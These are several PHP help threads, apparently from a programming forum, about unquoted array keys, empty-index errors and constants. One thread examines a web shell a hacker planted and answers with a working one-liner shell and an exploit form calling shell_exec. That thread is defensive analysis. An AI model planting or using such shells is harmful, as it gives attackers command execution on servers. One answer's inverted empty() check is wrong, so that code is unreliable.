I set up a new AMP stack on a laptop so I could do some work locally. I am no expert in the mechanics of Apache or PHP behind the scenes, so I have a problem. I have a form which collects information and posts it to be processed by a php file. The html form and php processor both work fine on my live server, but on the laptop, the php script doesn't appear to be seeing the posted variables.
Here is how I define the processor program
<form method='POST' action='myprogram.php'>
Here is an example of how I am populating the variables
<input type='text' name='gw' size='8' value='65000'>Gross Weight
here is how I am submitting them
<input type='submit' value='Submit' name='B1'>
in the php, here is how I am defining them locally
$gw=$_POST[gw];
and finally, here is the error message I get for every single variable:
"Notice: Use of undefined constant gw - assumed 'gw' in C:\Apache\htdocs\myprogram\myprogram.php on line 21"
Since the code works perfectly on my apache 2.2 server and not on the 2.4 that I just installed, I'm pretty sure that the problem is in either my apache or php configuration. I've looked everywhere I can think of and can't find a directive that "turns on" this feature. I'd sure love some help on this one, thanks in advance.
Jim
$_POST values are stored in an associative array, that is to say the values are indexed by some type of string 'key'. To access an element, you must use the appropriate string:
$value = $_POST['gw']; // a string using single quotes
$key = 'gw';
$value = $_POST[$key]; // this is also acceptable
In your code, you did not include quotes around your string, so PHP interpreted it as a constant.
What you are missing are the quotes around $gw=$_POST['gw'] It thinks that you are using a constant gw. Here is the specific article with regards to this error: Why is $foo[bar] wrong?
For better code that doesn't produce errors I recommend using:
$gw = ( empty($_POST['gw']) ) ? $_POST['gw'] : false;
This is PHP's ternary operator. This code checks that there is in fact a value before assigning it to the variable.
Related
I work on a website that, since last Oct, has had the following lines of code that work just fine:
if(empty($post_types))
{
$post_types[] = 'post';
$post_types[] = 'product-list';
}
I had not seen this construct in PHP before, (and since I started my programming work in C, it's a little irritating), but it works.
We started a second site with the same technology and basic setup that threw the following error at the same lines of code,
"Uncaught Error: [] operator not supported for strings ..."
The sites are hosted at the same place, but I noticed that they are using different 7.x versions of PHP. I did a bit of research to see if the behavior is due to a change in PHP 7.3, but I didn't find an answer.
Please note that my question is on whether this situation is possibly a PHP version issue, not how to solve the array problem, which I changed with
$post_types = array('post', 'product-list');
I found your answer in the PHP docs Creating/modifying with square bracket syntax:
$arr[key] = value;
$arr[] = value;
// key may be an integer or string
// value may be any value of any type
If $arr doesn't exist yet, it will be created, so this is also an
alternative way to create an array. This practice is however
discouraged because if $arr already contains some value (e.g. string
from request variable) then this value will stay in the place and []
may actually stand for string access operator. It is always better to
initialize a variable by a direct assignment.
Note: As of PHP 7.1.0, applying the empty index operator on a string throws a fatal error. Formerly, the string was silently converted to
an array.
So it appears there is a change in PHP 7.1.0 matching with the problem you described.
In your code, your $post_type variable must be initialized as a string [EDIT : I could only reproduce the problem with an empty string], and was previously ( PHP < 7.1.0) silently converted to an array.
I am currently checking the deprecated functions of a software developed in older PHP. It was developed in 2006. And I've seen a lot of variables in this format $_SESSION[name] or $_GET[name].
The issue here is that it does not give error on the deployed site. But in my local it gives Notice: Use of undefined constant name - assumed 'name'.
I know that I can solve this by adding single or double quotes on each variable but there are a lot to edit. And I have no access to the server configurations.
Any idea why this does not work on my local. I use PHP 5.6.
EDIT:: I just want to know the reason behind.
Thanks.
In this kind of odd Scenario, you have a hint from the E-Notice: Notice: Use of undefined constant name - assumed 'name'. Since you don't have access to the server, (and until you do) You may simply create a temporal File say: _DEFINES.php and include it in your Scripts. Inside that File, you may just define those variables as Strings like so:
<?php
defined('name') or define('name', 'name');
defined('another_string') or define('another_string', 'another_value');
defined('yet_another') or define('yet_another', 'yet_another');
That way, you may have temporarily beat the nightmare...
NOTE: This is not much of a Solution... it is just a temporal work-around till you can fix the issue from the server-side....
I'm new on the site (hi!) and I had a problem that I can't resolve yet. I look for it, but no results... I think it's a stupid thing, but I can't find the solution.
I'm migrating a system (PHP) to other server (both are CentOS) and I have a problem with the quotes in PHP variables:
Example:
--------
$_GET[var]
$db_reg[assoc]
$array[value]
define(NAME,'value')
etc..
All cases can fix adding quotes to indexes, but I have thousand of PHP files, with millions of lines each one, and I can't check one by one... it will take around two lives and a half.
In the old server, it works normally, but in the new, the variables are not recognized, shows a PHP notice:
"Notice: Use of undefined constant XXXX - assumed 'XXXX in..."
(ej: $_POST[XXXX])
Is there a configuration in Apache or PHP for recognizing or not (indistinct) quotes on variables?
The PHP version on both servers are the same, and I have checked the php.ini file, and they are similar.
I guess you need some information about variables and their usage (when working with arrays) and fixed index concretions.
Usage of variables:
$array = array('hi', 'you', 'there');
$i = 1;
echo $array[$i]; // -> Works and is **fine** (will output 'you')
// --------------------------------
$array = array('a' => 'hi', 'b' => 'you', 'c' => 'there');
echo $array['a']; // -> Works and is **fine**
// Note: in especially that case **NEVER** use barewords like this: echo $array[a] for >> a << here is expected to be a constant which (mostly) does not exist!
// PHP is so fuzzy that it will mostly interpret around like insane and output you the desired value ('hi' in that case), but that was never meant to be! And should always be prevented. That's the reason for you getting that notice...
// So never do this:
echo $array[a];
// ... if >> a << is NOT a valid and available constant
Important (summed up to the point):
Words without quotes and the dollar are considered constants which you perhaps do not use very often. In most cases, you use quotes (like described above) or real variables (identified by $) as index to access data structures/arrays.
Well, you can try editing the php.ini file:
Change
error_reporting=E_ALL
to
error_reporting = E_ALL & ~E_NOTICE
This will disable all notices, but I am not sure sure if this will get your issue resolved. Please try and let us know if this is working or not for you.
I found a line of script left by the hacker in one of my PHP files. And it reads like this:
<?php
($_=#$_GET[2]).#$_($_POST[1]);
?>
Can anyone please give some hints about what this line of code does? Thank you
I already posted it as a comment since the question was on hold, here now as an answer:
It's a PHP shell. If you rewrite it to <?php ($_=#$_GET[2]).#$_($_GET[1]); ?> the URL file.php?2=shell_exec&1=whoami executes the command whoami on the shell. In your example, one param is passed by POST, one by GET. So it's a bit harder to call.
You could also call other functions with it. The first parameter is always the function name, the second is a parameter for the called function.
Apparently it's explained on http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) but the site doesn't load for me.
/edit: If you have access to the server log files, you can search them to see if the hacker used this shell. A simple egrep "(&|\?)2=.+" logs* on the shell should work. You only see half of the executed command (only the GET, not POST), but maybe this helps to see if the attacker actually used his script.
As Reeno already said in a comment, it's like a PHP shell.
Explanation
Store the GET variable with the key '2' in a variable called $_. Due to PHP's nature of weak typing, we do not need quotes around the number.
$_=#$_GET[2]
Treat $_ as a callable function name and execute it with $_POST[1] as the first argument.
#$_($_POST[1])
The # operators should suppress error logging, see PHP.net: Error Control Operators.
The concatenation operator between the two statements does actually nothing important. It could be rewritten like this:
$_=#$_GET[2];
#$_($_POST[1]);
Use case
Calling arbitrary functions. I won't mention the specific HTTP headers for a successful attack, but this should be fairly easy for every (web) programmer.
First of all, you must remove those lines as soon as possible.
This code is used to call PHP functions. To give you an example, your hacker will use this kind of form :
<form method="post" action="http://site.com/page.php?2=shell_exec">
<input name="1" value="ipconfig -all"/>
<input type="submit" value="Send"/>
</form>
You'll then get this values :
$_ = $_GET[2] = shell_exec
$_POST[1] = ipconfig -all
$_($_POST[1]) = $_("ipconfig -all") = shell_exec("ipconfig -all")
# are here to disable errors.
A simpler example would be to use this code :
<?= #$_GET['c'](#$_GET['p']); ?>
With a simple call to http://site.com/page.php?c=shell_exec&p=ipconfig%20-all .
I want to use a global variable setup where they are all declared, initialized and use friendly syntax in PHP so I came up with this idea:
<?
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
$GLOBALS['debugger'] = 1; // set $GLOBALS['debugger'] to 1
DEFINE('DEBUGGER','$GLOBALS["debugger"]'); // friendly access to it globally
echo "1:" . DEBUGGER . ":<br>";
echo "2:" . ${DEBUGGER}. ":<br>";
echo "3:" . $GLOBALS['debugger'] . ":<br>";
if (DEBUGGER==1) {echo "DEBUG SET";}
?>
generates the following:
1:$GLOBALS["debugger"]:
Notice: Undefined variable: $GLOBALS["debugger"] in /home/tra50118/public_html/php/test.php on line 8
2::
3:1:
How can there be an error with 2: when clearly $GLOBALS["debugger"] IS defined? And then not generate a similar notice with the test at line 10?
I think what I am trying to do is to force PHP to interpret a string ($GLOBALS["debugger"]) as a variable at run time i.e. a constant variable variable
Disclaimer: I agree with the comments, globals are generally a bad idea.
That said, there's a few questions here that are worth answering, and the concept of indirection is useful, so here goes.
${'$GLOBALS["debugger"]'} is undefined. You don't include the leading '$' when using indirection. So, the correct version would be define('DEBUGGER', 'GLOBALS["debugger"]').
But, this doesn't work either. You can only access one level down via indirection. So you can access the array $GLOBALS, but you can't access keys in that array. Hence, you might use :
define('DEBUGGER', 'debugger');
${DEBUGGER};
This isn't useful, practically. You may as well just use $debugger directly, as it's been defined as a global and will be available everywhere. You may need to define global $debugger; at the start of functions however.
The reason your if statement is not causing notices is because you defined DEBUGGER to be a string. Since you aren't trying to use indirection in that line at all, it ends up reading as:
if ("$GLOBALS['debugger']"==1) {echo "DEBUG SET";}
This is clearly never true, though it is entirely valid PHP code.
I think you may have your constants crossed a bit.
DEFINE('DEBUGGER','$GLOBALS["debugger"]'); sets the constant DEBUGGER to the string $GLOBALS["debugger"].
Note that this is neither the value nor the reference, just a string.
Which causes these results:
1: Output the string $GLOBALS["debugger"]
2: Output the value of the variable named $GLOBALS["debugger"]. Note that this is the variable named "$GLOBALS["debugger"]", not the value of the key "debugger" in the array $GLOBALS. Thus a warning occurs, since that variable is undefined.
3: Output the actual value of $GLOBALS["debugger"]
Hopefully that all makes sense.
OK, thanks to all who answered. I think I get it now, I am new to PHP having come form a C++ background and was treating the define like the C++ #define and assuming it just did a string replace in the precompile/run phase.
In precis, I just wanted to use something like
DEBUGGER = 1;
instead of
$GLOBALS['debugger'] = 1;
for a whole lot of legitimate reasons; not the least of which is preventing simple typos stuffing you up. Alas, it appears this is not doable in PHP.
Thanks for the help, appreciated.
You can not use "variable variables" with any of the superglobal arrays, of which $GLOBALS is one, if you intend to do so inside an array or method. To get the behavior you would have to use $$, but this will not work as I mentioned.
Constants in php are already global, so I don't know what this would buy you from your example, or what you are going for.
Your last comparison "works" because you are setting the constant to a string, and it is possible with PHP's typecasting to compare a string to an integer. Of course it evaluates to false, which might be surprising to you, since you expected it to actually work.